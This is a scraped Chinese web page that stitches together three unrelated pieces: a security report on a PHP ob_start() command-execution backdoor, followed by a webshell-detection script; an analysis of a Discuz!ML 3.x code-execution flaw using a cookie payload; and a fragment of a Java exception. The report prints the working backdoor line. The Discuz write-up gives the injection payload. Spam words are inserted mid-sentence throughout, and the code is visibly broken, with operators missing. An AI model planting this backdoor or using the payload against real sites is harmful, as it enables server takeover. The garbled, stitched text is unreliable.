1.网站安全分析:PHP ob_start函数后门分析
2.Discuz!ML 3.x任意代码执行漏洞之大佬分析之后我分析
3.jacob1.9 JDK1.6.0.21 WINDOWS2003异常

网站安全分析:PHP ob_start函数后门分析

       9月日消息：站长之家从日志宝安全团队获悉，源码近日，源码根据日志宝分析平台的源码分析数据显示，部分网站的源码访问日志中存在大量命令执行类后门行为。

       我们与用户取得联系后拿到后门文件代码。源码此类后门通过PHP的源码源码高级控件特效ob_start()函数触发，利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的源码命令，此类后门代码可以躲避部分常见后门关键字查杀程序，源码最终以Web服务器权限远程执行任意命令。源码

PHP 手册中关于ob_start()函数回调机制的源码相关说明：

       Ob_start()函数后门代码如下：

php

           $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();

           ?

       后门利用效果如下图：

       针对此类后门行为，建议站长们检查网页源代码中是源码否出现ob_start()函数调用，并检查ob_start()的源码参数是否是常见的命令执行类函数（system，exec，源码java查看导入源码popen，源码shell_exec等）或者其他可疑函数调用。源码

       为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用，日志宝安全团队编写了一款简易的PHP后门检测小脚本，可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码，源代码和使用方法如下：

       #!/usr/bin/php -q

php

       #简易PHPwebshell检测脚本-By 日志宝安全团队

       #检测特征如下:

       #eval($_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码

       #system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令，名且在PHPSPY木马中使用

       #phpinfo() 后门中经常出现的函数，正常文件中也可能出现造成敏感信息泄露

       #eval(base 匹配经过base编码后的后门

       #eval(gzuncompress 匹配经过gzip压缩过的后门

       #`*` 匹配类似`$_REQUEST[cmd]`的一句话后门

       #其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)

       #使用方法

       ./findshell.php /home/wwwroot/(此处填写web目录路径) result.log

       程序的分析结果将保存在当前目录下的result.log文件中

       set_time_limit(0);

       function find($directory)

        {

         $mydir=dir($directory);

         while($file=$mydir-read()){

          if((is_dir("$directory/$file"))($file!=".")($file!=".."))

          {

           find("$directory/$file");

          }

          else{

           if($file != "." $file != ".."eregi(".php",$file)){

           $fd=realpath($directory."/".$file);

           $fp = fopen($fd, "r");

           $i=0;

           while ($buffer = fgets($fp, )) {

            $i++;  if((eregi("eval($_POST",$buffer))||(eregi("system(",$buffer))||(eregi("exec(",$buffer))||(eregi("shell_exec(",$buffer))||(eregi("popen(",$buffer))||(eregi("phpinfo(",$buffer))||(eregi("passthru(",$buffer))||(eregi("proc_open(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval(base",$buffer))||(eregi("eval(gzuncompress",$buffer))||(eregi("preg_replace(/^/e,$",$buffer))||(eregi("preg_replace("/^/e",$buffer))||(eregi("assert(",$buffer))||(eregi("ob_start(",$buffer))||(eregi("error_log(",$buffer))||(eregi("dl(",$buffer))){

       all();

       echo "可疑文件路径:".$fd."rnLine".$i.":".$buffer."rnrn";

       }

            }

           fclose($fp);

           }

          }

         }

         $mydir-close();

        }

       function all()

         {

         static $count = 1;

         echo $count;

         $count++;

         }

       find($argv[1]);

       使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为，但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为，比如执行系统命令等，因此也会出现一些遗漏和误报。在开发网站的微交易源码网站过程中开发者需要有一定的安全编程意识，注意变量的初始化以及其他逻辑问题，加入一些安全过滤函数等防范措施，从网站本身的代码安全做起，才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识技巧了解到更多Web安全相关内容，让自己的网站更加稳定、安全的运行。

       注明：本安全报告来自日志宝，官方网站www.rizhibao.com

Discuz!ML 3.x任意代码执行漏洞之大佬分析之后我分析

       首先附上米斯特安全大佬们文章的链接，刚开始有些东西我没看的太懂，于是我就再添了点东西，希望像我一样的开心水果 源码小白也能看懂。

       一、漏洞综述

       漏洞类型：代码执行漏洞

       影响系统及版本：Discuz!ML V3.2-3.4

       漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。

       二、漏洞分析

       根据米斯特大佬们提供的报错界面，我对其中的三个报错点一一进行了分析，三个报错点如下图所示（还有米斯特大佬们的水印）。

       2.1 报错点一分析

       发现首先是portal.php函数出错，把这张图放大看，发现是对cookie中的language参数进行拼接而导致的报错，根据这个参数的比特币源码教程语义判断应该是调用语言模板的时候因为找不到相应的模板而发生的错误，那么先定位portal.php报错的第行，该文件路径：

       紧接着定位libfile函数，文件加载路径函数。

       函数介绍：

       libfile($libname, $folder = ”)，包含2个参数:$libname 和 $folder，该函数读取source目录下的$folder子目录作为基础部分。

       libfile函数源代码如下图所示：

       DISCUZ_ROOT为定义网站根目录的常量，realpath函数为返回绝对路径函数，到此处第一个报错就已经分析完毕，原因是系统因为找不到一个php文件而报的错。

       2.2 报错点二分析

       还是先根据错误定位到引用函数文件，文件路径source/module/portal/portal_index.php，然后定位到源函数所在的文件，引用的地方好定位，位置在/source/function/function_core.php，直接上图

       然后这个函数写的还贼长，哎，没得办法，这个时候只能靠运气了，搏一搏，单车变摩托，首先百度，这个函数的作用也就是个调用模板的函数。

       然而这个函数写了行代码，找个大表哥的写的代码注释吧，先扔个参考链接 discuz.net/thread-...

       此时我发现了思路有些繁琐，然后就去找第三个错误的提示内容，为了找到是哪里出了问题，我把这段代码放到了txt文件中，根据第三个错误提示的信息开始了全文搜索，终于，根据关键字tpl.php值搜索到一处与language这个函数语义有关的东西DISCUZ_LANG。

       既然是语言参数出了问题，还是个常量，那就去找找常量定义的地方，全局搜DISCUZ_LANG，跟踪到/source/class/discuz/discuz_application.php

       可以看到，将$lng的值给了DISCUZ_LANG，追踪$lng在何处定义，全局搜索$lng，找到了定义$lng的地方（图中第一个箭头）

       到此为止，又出现个var，这是个啥，我只知道var[‘cookie’][‘language’]的意思就是cookie中的language的值。

       以上可以分析出，从获取language到DISCUZ_LANG拿到值的过程中，并没有对其进行过滤。

       那么现在必须确定报错问题是怎么出现的了，看下图：

       出现了这样的代码，直接拼接，然后RCE

       拼接单引号和'.phpinfo().'

       按理来说可以RCE

       总结下大概流程从cookie中获取了language的值，然后给了$lng，接着$lng又给了DISCUZ_LANG，系统通过template函数调用模板文件，template函数执行，执行到$cachefile的时候，执行构造的代码。

       三、漏洞复现

       访问站点www.***.com/forum.php，刷新页面抓包

       *本文作者：xxx，转载请注明来自 FreeBuf.COM在language参数处'.phpinfo().'

       返回内容：

       复现成功。

       看起来复现大佬们的漏洞还是挺有意思的，开心。

jacob1.9 JDK1.6.0. WINDOWS异常

       ç±»åž‹ä¸æ­£ç¡®

       Types: [java.lang.String]

       com.jacob.com.ComFailException: Invoke of: AutoVerify